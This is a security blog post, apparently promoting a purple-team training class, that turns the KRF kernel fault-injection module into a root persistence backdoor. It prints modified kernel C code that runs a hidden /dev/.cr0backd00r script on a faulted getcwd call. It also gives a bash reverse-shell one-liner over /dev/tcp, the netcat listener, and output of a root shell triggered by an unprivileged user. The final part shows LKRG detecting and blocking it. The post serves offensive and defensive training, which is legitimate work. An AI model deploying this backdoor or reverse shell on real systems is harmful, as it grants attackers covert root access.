Defensive Go back to all

Blog

Playing with KRF - a Kernelspace Randomized Faulter

- By Leszek Miś

KRF - a Kernelspace Randomized Faulter is a tool that rewrites the Linux /  FreeBSD system call table. It consists of krfx kernel module, the krfctl userspace tool, some binary examples, and krfmesg that allows for logging a faulting status. When configured via krfctl, KRF replaces faultable syscalls with thin wrappers where we could inject our malicious code. Each wrapper then performs a check to see whether the call should be faulted using a configurable targeting system capable of targeting a specific personality(2), PID, UID, and/or GID. If the process shouldn't be faulted, the original syscall is invoked. In the end, the targeted call is faulted via a random failure function. For example, a getcwd() call might receive one of ERANGE, ENAMETOOLONG, EACCES, ENOMEM, EFAULT, ENOENT, and so on.

Let's see how we could run this nice persistence technique against Linux boxes:

# uname -a
Linux student11 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

# git clone https://github.com/trailofbits/krf.git
# cd krf
# make
# make install
# modinfo krfx
filename:       /lib/modules/4.15.0-36-generic/extra/krfx.ko
description:    A Kernelspace Randomized Faulter
author:         William Woodruff 
license:        GPL
srcversion:     9997399901F5F4487A82756
depends:        
retpoline:      Y
name:           krfx
vermagic:       4.15.0-36-generic SMP mod_unload 

# modprobe krfx
# lsmod | grep krfx
krfx                  602112  0

# dmesg | tail -n 3
[ 2227.729922] krfx: loading out-of-tree module taints kernel.
[ 2227.731390] krfx: module verification failed: signature and/or required key missing - tainting kernel
[ 2227.750687] krf 0.0.1 loaded

Great! We are ready for the next move. Let's see what functionality the krfctl tool offers:

# krfctl -h
usage: krfctl 
options:
 -h                          display this help message
 -F  [syscall...]   fault the given syscalls
 -P                 fault the given syscall profile
 -c                          clear the syscall table of faulty calls
 -r                   set the RNG state
 -p                    set the fault probability
 -L                          toggle faulty call logging
 -T =       enable targeting option  with value 
 -C                          clear the targeting options
targeting options:
 personality, PID, UID, GID, and INODE
available profiles (for -P flag):
 ipc, all, memory, time, fs, proc, sched, io, net, sys, mm

Let's configure a getcwd() syscall as our target. We are looking for targeting a user with uid=1001 only, so the faulting actions will be restricted only to this unprivileged user:

# krfctl -F getcwd -T UID=1001
# krfctl -L

From the 2nd console switch to cr0 user with uid=1001 and execute few times a getcwd binary which is stored in the examples directory:

cat example/getcwd.c 
#include "common.h"

int main(int argc, char const *argv[]) {
  unsigned int i;
  char buf[4096];

  for (i = 0;; i++) {
    if (i % 1000 == 0) {
      printf("iteration %u...\n", i);
    }

    if (getcwd(buf, sizeof(buf)) == NULL) {
      perror("fault!");
      exit(errno);
    }
  }

  return 0;
}

# cp example/getcwd /tmp
# sudo su - cr0
$ /tmp/getcwd 
iteration 0...
fault!: Cannot allocate memory
cr0@student11:~$ /tmp/getcwd 
iteration 0...
fault!: No such file or directory
cr0@student11:~$ /tmp/getcwd 
iteration 0...
iteration 1000...
iteration 2000...
fault!: Invalid argument
cr0@student11:~$ /tmp/getcwd 
iteration 0...
iteration 1000...
iteration 2000...
iteration 3000...
fault!: Cannot allocate memory
cr0@student11:~$ /tmp/getcwd 
iteration 0...
iteration 1000...
fault!: Bad address

Get back to the 1st console. You should find that krfmesg has got some output:

# krfmesg 
faulting getcwd with ENOMEM
faulting getcwd with ENOENT
faulting getcwd with EINVAL
faulting getcwd with ENOMEM
faulting getcwd with EFAULT

OK, so targeted faulting works as expected. Let's weaponize the kernel module. Our goal is to get the reverse shell connection whenever the targeted user triggers the getcwd fault with EFAULT. For this, we need to modify a function krf_sys_internal_getcwd_EFAULT() in src/module/linux/syscalls/getcwd.gen.c: 

static long krf_sys_internal_getcwd_EFAULT(char __user *buf, unsigned long size) {
  if (krf_log_faults) {
    KRF_LOG("faulting getcwd with EFAULT\n");
    char * envp[] = { "HOME=/","PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
    char * argv[] = { "/dev/.cr0backd00r", NULL };
    int ret = 0;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
	 if (ret != 0)
	        KRF_LOG("error in call to usermodehelper: %i\n", ret);
	 else {
	        KRF_LOG("Success: backdoor execution completed\n");
	        return 0;
	 }
  }

  return -EFAULT;
}

Don't forget to add also additional headers:

#include "linux/kernel.h"
#include "linux/module.h"

Recompile the project:

rmmod rftx && make && make install

Create a /dev/.cr0backd00r file and paste simple one-liner that will be executed thanks to call_usermodehelper():

# vim /dev/.cr0backd00r
#!/bin/bash
bash -i >&/dev/tcp/127.0.0.1/4242 0>&1

Now we are ready to set up local listener and execute the reverse shell:

# nc -vnlp 4242
Listening on [0.0.0.0] (family 0, port 4242)

Set up krf and run getcwd again:

### 1st console:

# modprobe krfx
# krfctl -F getcwd -T UID=1001
# krfctl -L

# sudo su - cr0
$ cd /tmp 
$ ./getcwd
./getcwd 
iteration 0...
iteration 1000...
iteration 2000...
iteration 3000...
fault!: Cannot allocate memory

cr0@student11:/tmp$ ./getcwd 
iteration 0...
iteration 1000...
iteration 2000...
fault!: Numerical result out of range

...

### 2nd console:

# krfmesg 
faulting getcwd with ENOMEM
faulting getcwd with ENOENT
faulting getcwd with EINVAL
faulting getcwd with ENOMEM
faulting getcwd with EFAULT
Success: backdoor execution completed
faulting getcwd with EFAULT
Success: backdoor execution completed
faulting getcwd with ERANGE

Success: backdoor execution completed. Get back to your listener. You should see a fresh uid=0 reverse shell that has been triggered by a normal user:

# nc -vnlp 4242
Listening on [0.0.0.0] (family 0, port 4242)
Connection from 127.0.0.1 37456 received!
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@student11:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@student11:/# pwd
pwd
/

During the offensive research, I am always trying think also in blue, so naturally i thought how krf would behave for the LKRG kernel. You know I am big fan of the project, so here are the next steps:

# rmmod krfx
# wget https://www.openwall.com/lkrg/lkrg-0.8.1.tar.gz
# tar -zxvf lkrg-0.8.1.tar.gz
# cd lkrg
# make
# insmod p_lkrg.ko
# dmesg | tail 
[11374.034419] krf 0.0.1 unloaded
[11381.922874] [p_lkrg] Loading LKRG...
[11381.924948] [p_lkrg] System does NOT support SMEP. LKRG can't enforce SMEP validation :(
[11381.927978] [p_lkrg] System does NOT support SMAP. LKRG can't enforce SMAP validation :(
[11381.933703] Freezing user space processes ... (elapsed 0.003 seconds) done.
[11381.936889] OOM killer disabled.
[11381.937223] [p_lkrg] 6/25 UMH paths are allowed...
[11382.373605] [p_lkrg] LKRG initialized successfully!
[11382.374809] OOM killer enabled.
[11382.374810] Restarting tasks ... done.

Assuming that LKRG will detect our behavior (_RODATA MEMORY BLOCK HASH IS DIFFERENT) out of the box, modify an lkrg.kint_enforce value which is responsible for kint_enforce logic: 

  • lkrg.kint_enforce:
    • 0 (log once and accept the new likely-compromised state as valid),
    • 1 (log only for most violations, log the violation and restore the previous state for SELinux and CPU WP bit),
    • and 2 (panic the kernel)

That way you will not get a kernel panic in the cause of detection:

# sysctl -a | grep lkrg.kint_enforce
lkrg.kint_enforce = 2

# sysctl -w lkrg.kint_enforce=0
lkrg.kint_enforce = 0

Ok, we are ready for testing. Run again the same steps for faulting. This time it will not work. The reverse shell connection will not be established and you will get an alert from LKRG:

# krfmesg 
faulting getcwd with ENOMEM
faulting getcwd with ENOENT
faulting getcwd with EINVAL
faulting getcwd with ENOMEM
faulting getcwd with EFAULT
error in call to usermodehelper: -13

# dmesg
[  378.871004] [p_lkrg] ALERT !!! _RODATA MEMORY BLOCK HASH IS DIFFERENT - it is [0x99a5157e6e1308a6] and should be [0xb4154ac0762f60fe] !!!
[  378.874783] [p_lkrg] ALERT !!! SYSTEM HAS BEEN COMPROMISED - DETECTED DIFFERENT 1 CHECKSUMS !!!
[  389.431694] faulting getcwd with ENOMEM
[  402.244541] faulting getcwd with ENOENT
[  402.928659] faulting getcwd with EINVAL
[  403.456416] faulting getcwd with ENOMEM
[  403.931416] faulting getcwd with EFAULT
[  403.932167] [p_lkrg] Blocked usermodehelper execution of [/dev/.cr0backd00r]
[  403.934634] error in call to usermodehelper: -13

Awesome! 

BTW:

this hands-on scenario and many others (actually 60+) is a part of the of 'In & Out - Detection as Code vs Adversary Simulations' - Purple Edition Training class, that I am delivering remotely during the upcoming Hack In The Box Cyberweek 2020 in days 15-17 November 2020. The content is based on PurpleLabs - ready to use virtual detection infrastructure + Offensive labs where you can grow your skills and learn new stuff. Join me! :)

LINKS: